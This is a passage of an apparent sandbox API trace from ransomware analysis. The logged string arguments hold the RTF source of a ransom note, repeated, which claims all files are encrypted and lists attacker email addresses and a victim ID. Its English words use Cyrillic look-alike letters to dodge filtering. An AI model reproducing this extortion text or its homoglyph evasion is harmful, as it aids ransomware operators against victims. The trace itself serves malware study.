nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0039.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de4de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 